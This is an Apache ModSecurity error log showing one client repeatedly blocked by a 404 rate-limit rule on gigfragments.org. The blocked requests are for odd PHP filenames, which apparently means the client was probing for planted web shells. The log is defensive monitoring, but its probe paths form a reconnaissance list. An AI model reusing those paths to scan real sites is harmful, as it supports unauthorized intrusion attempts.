[Sun Jan 04 21:03:11.050092 2026] [:error] [pid 23968:tid 24005] [client 4.194.49.38:38260] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aVplD2zpAzHWBUMs-z5_7gAAAgc"]
[Sun Jan 04 21:03:14.884418 2026] [:error] [pid 17268:tid 17272] [client 4.194.49.38:47078] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aVplErPW8UB8HzRRfIdD1wAAAUE"]
[Sun Jan 04 21:03:15.258914 2026] [:error] [pid 23904:tid 23945] [client 4.194.49.38:34993] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class629.php"] [unique_id "aVplE_3FRCMgI2cXAQE0oAAAAQk"]
[Sun Jan 04 21:03:15.529904 2026] [:error] [pid 21812:tid 21855] [client 4.194.49.38:34960] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class629.php"] [unique_id "aVplE-2lkeIp6bksZx2E7AAAA0w"]
[Sun Jan 04 21:03:16.007777 2026] [:error] [pid 23903:tid 23915] [client 4.194.49.38:34963] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class629.php"] [unique_id "aVplFD_yzB-omvQP-LLLuAAAAMY"]
[Sun Jan 04 21:03:18.400032 2026] [:error] [pid 1297:tid 1302] [client 4.194.49.38:34978] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class629.php"] [unique_id "aVplFhf98x0RBG23PjfjHQAAAAM"]
[Sun Jan 04 21:03:19.137568 2026] [:error] [pid 21812:tid 21862] [client 4.194.49.38:38239] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lose.php"] [unique_id "aVplF-2lkeIp6bksZx2E8AAAA1M"]
[Sun Jan 04 21:03:21.008750 2026] [:error] [pid 29350:tid 29360] [client 4.194.49.38:38263] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lose.php"] [unique_id "aVplGFZWNWo1XwAbpfafXgAAAoM"]
[Sun Jan 04 21:03:22.215336 2026] [:error] [pid 29414:tid 29421] [client 4.194.49.38:34985] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lose.php"] [unique_id "aVplGpjI-BFMXszJTEp8MAAAAwM"]
[Sun Jan 04 21:03:28.110127 2026] [:error] [pid 1297:tid 1323] [client 4.194.49.38:34966] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-lose.php"] [unique_id "aVplIBf98x0RBG23PjfjNwAAABg"]
[Sun Jan 04 21:03:29.597122 2026] [:error] [pid 1297:tid 1305] [client 4.194.49.38:34969] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVplIRf98x0RBG23PjfjOQAAAAY"]
[Sun Jan 04 21:03:31.130373 2026] [:error] [pid 23967:tid 23980] [client 4.194.49.38:38224] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVplIz0PhjBsUtIi4VWARAAAAYk"]
[Sun Jan 04 21:03:32.999414 2026] [:error] [pid 23967:tid 23984] [client 4.194.49.38:34983] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVplJD0PhjBsUtIi4VWAUwAAAY0"]
[Sun Jan 04 21:03:34.433969 2026] [:error] [pid 1297:tid 1316] [client 4.194.49.38:34970] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aVplJhf98x0RBG23PjfjRQAAABE"]
[Sun Jan 04 21:03:36.221778 2026] [:error] [pid 23903:tid 23928] [client 4.194.49.38:38233] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVplKD_yzB-omvQP-LLL2wAAANM"]
[Sun Jan 04 21:03:37.169395 2026] [:error] [pid 1297:tid 1316] [client 4.194.49.38:38218] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVplKRf98x0RBG23PjfjSgAAABE"]
[Sun Jan 04 21:03:38.653123 2026] [:error] [pid 23903:tid 23926] [client 4.194.49.38:38250] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVplKj_yzB-omvQP-LLL3wAAANE"]
[Sun Jan 04 21:03:40.057984 2026] [:error] [pid 17268:tid 17281] [client 4.194.49.38:47083] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/321.php"] [unique_id "aVplLLPW8UB8HzRRfIdD9AAAAUo"]
[Sun Jan 04 21:03:40.985895 2026] [:error] [pid 23967:tid 23987] [client 4.194.49.38:34959] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVplLD0PhjBsUtIi4VWAagAAAZA"]
[Sun Jan 04 21:03:41.861616 2026] [:error] [pid 17268:tid 17284] [client 4.194.49.38:38219] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVplLbPW8UB8HzRRfIdD9QAAAU0"]
[Sun Jan 04 21:03:42.682775 2026] [:error] [pid 17268:tid 17292] [client 4.194.49.38:38268] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVplLrPW8UB8HzRRfIdD-AAAAVU"]
[Sun Jan 04 21:03:44.792603 2026] [:error] [pid 21812:tid 21854] [client 4.194.49.38:34957] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVplMO2lkeIp6bksZx2FDwAAA0s"]
[Sun Jan 04 21:03:46.811216 2026] [:error] [pid 1297:tid 1316] [client 4.194.49.38:34947] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general-template.php"] [unique_id "aVplMhf98x0RBG23PjfjWQAAABE"]
[Sun Jan 04 21:03:48.146386 2026] [:error] [pid 23903:tid 23926] [client 4.194.49.38:38247] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general-template.php"] [unique_id "aVplND_yzB-omvQP-LLL6gAAANE"]
[Sun Jan 04 21:03:49.611578 2026] [:error] [pid 21753:tid 21763] [client 4.194.49.38:38246] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general-template.php"] [unique_id "aVplNV4xwAtqKablc07_EQAAAkc"]
[Sun Jan 04 21:03:51.991404 2026] [:error] [pid 23903:tid 23917] [client 4.194.49.38:38222] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/general-template.php"] [unique_id "aVplNz_yzB-omvQP-LLL8AAAAMg"]
[Sun Jan 04 21:03:53.433248 2026] [:error] [pid 17268:tid 17276] [client 4.194.49.38:38254] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "aVplObPW8UB8HzRRfIdEJAAAAUU"]
[Sun Jan 04 21:03:56.751405 2026] [:error] [pid 17268:tid 17284] [client 4.194.49.38:38257] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "aVplPLPW8UB8HzRRfIdEQQAAAU0"]
[Sun Jan 04 21:03:57.517274 2026] [:error] [pid 23904:tid 23948] [client 4.194.49.38:34962] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "aVplPf3FRCMgI2cXAQE01AAAAQw"]
[Sun Jan 04 21:03:59.149240 2026] [:error] [pid 23868:tid 23881] [client 4.194.49.38:34996] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "aVplP7baf-JYFyQL_057pAAAAEU"]
[Sun Jan 04 21:04:00.988703 2026] [:error] [pid 1297:tid 1319] [client 4.194.49.38:47064] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVplQBf98x0RBG23PjfjgQAAABQ"]
[Sun Jan 04 21:04:18.209042 2026] [:error] [pid 1297:tid 1322] [client 4.194.49.38:38271] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjhf.php"] [unique_id "aVplUhf98x0RBG23PjfjjwAAABc"]
[Sun Jan 04 21:04:19.619166 2026] [:error] [pid 23967:tid 23987] [client 4.194.49.38:34964] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjhf.php"] [unique_id "aVplUz0PhjBsUtIi4VWBFgAAAZA"]
[Sun Jan 04 21:04:20.350152 2026] [:error] [pid 23968:tid 24000] [client 4.194.49.38:34987] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjhf.php"] [unique_id "aVplVGzpAzHWBUMs-z6AFQAAAgI"]
[Sun Jan 04 21:04:21.907316 2026] [:error] [pid 23868:tid 23893] [client 4.194.49.38:35006] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjhf.php"] [unique_id "aVplVbbaf-JYFyQL_057uwAAAFE"]
[Sun Jan 04 21:04:22.817802 2026] [:error] [pid 29414:tid 29425] [client 4.194.49.38:38265] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aVplVpjI-BFMXszJTEp8SgAAAwc"]
[Sun Jan 04 21:04:24.577631 2026] [:error] [pid 29350:tid 29381] [client 4.194.49.38:47077] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aVplWFZWNWo1XwAbpfafeQAAApg"]
[Sun Jan 04 21:04:26.293241 2026] [:error] [pid 29350:tid 29364] [client 4.194.49.38:35004] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aVplWlZWNWo1XwAbpfafegAAAoc"]
[Sun Jan 04 21:04:27.947593 2026] [:error] [pid 1297:tid 1323] [client 4.194.49.38:38240] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aVplWxf98x0RBG23PjfjkgAAABg"]
[Sun Jan 04 21:04:29.088609 2026] [:error] [pid 23868:tid 23881] [client 4.194.49.38:38225] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core885.php"] [unique_id "aVplXbbaf-JYFyQL_057wAAAAEU"]
[Sun Jan 04 21:04:30.096219 2026] [:error] [pid 29415:tid 29455] [client 4.194.49.38:34986] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core885.php"] [unique_id "aVplXjEg4D51XOxGJ6yh6wAAA4o"]
[Sun Jan 04 21:04:31.310331 2026] [:error] [pid 29351:tid 29403] [client 4.194.49.38:38244] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core885.php"] [unique_id "aVplX5tGiMsRmNcKXvoz2AAAAtM"]
[Sun Jan 04 21:04:32.303406 2026] [:error] [pid 23903:tid 23923] [client 4.194.49.38:34989] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core885.php"] [unique_id "aVplYD_yzB-omvQP-LLMHwAAAM4"]
[Sun Jan 04 21:04:32.878498 2026] [:error] [pid 23967:tid 23980] [client 4.194.49.38:47044] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yxr6m.php"] [unique_id "aVplYD0PhjBsUtIi4VWBHAAAAYk"]
[Sun Jan 04 21:04:34.080229 2026] [:error] [pid 29351:tid 29396] [client 4.194.49.38:47066] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yxr6m.php"] [unique_id "aVplYptGiMsRmNcKXvoz2gAAAsw"]
[Sun Jan 04 21:04:34.564983 2026] [:error] [pid 29351:tid 29407] [client 4.194.49.38:34994] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yxr6m.php"] [unique_id "aVplYptGiMsRmNcKXvoz2wAAAtc"]
[Sun Jan 04 21:04:35.539994 2026] [:error] [pid 23903:tid 23922] [client 4.194.49.38:38269] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yxr6m.php"] [unique_id "aVplYz_yzB-omvQP-LLMIgAAAM0"]
[Sun Jan 04 21:04:36.514411 2026] [:error] [pid 23868:tid 23897] [client 4.194.49.38:37953] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acxx.php"] [unique_id "aVplZLbaf-JYFyQL_057xgAAAFU"]
[Sun Jan 04 21:04:37.057778 2026] [:error] [pid 21753:tid 21771] [client 4.194.49.38:38266] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acxx.php"] [unique_id "aVplZV4xwAtqKablc07_TwAAAk8"]
[Sun Jan 04 21:04:38.169808 2026] [:error] [pid 23968:tid 24009] [client 4.194.49.38:34968] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acxx.php"] [unique_id "aVplZmzpAzHWBUMs-z6AIgAAAgs"]
[Sun Jan 04 21:04:38.827339 2026] [:error] [pid 29415:tid 29451] [client 4.194.49.38:47059] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acxx.php"] [unique_id "aVplZjEg4D51XOxGJ6yh7QAAA4Y"]
[Sun Jan 04 21:04:39.250270 2026] [:error] [pid 29415:tid 29462] [client 4.194.49.38:34991] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVplZzEg4D51XOxGJ6yh7wAAA5E"]
[Sun Jan 04 21:04:39.968710 2026] [:error] [pid 23968:tid 24003] [client 4.194.49.38:38223] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVplZ2zpAzHWBUMs-z6AJgAAAgU"]
[Sun Jan 04 21:04:40.422604 2026] [:error] [pid 23968:tid 24022] [client 4.194.49.38:47063] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVplaGzpAzHWBUMs-z6AKAAAAhg"]
[Sun Jan 04 21:04:41.598046 2026] [:error] [pid 29351:tid 29398] [client 4.194.49.38:35007] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVplaZtGiMsRmNcKXvoz4AAAAs4"]
[Sun Jan 04 21:04:42.459729 2026] [:error] [pid 29351:tid 29392] [client 4.194.49.38:47056] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api137.php"] [unique_id "aVplaptGiMsRmNcKXvoz4QAAAsg"]
[Sun Jan 04 21:04:43.086197 2026] [:error] [pid 1297:tid 1318] [client 4.194.49.38:35005] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api137.php"] [unique_id "aVplaxf98x0RBG23PjfjpgAAABM"]
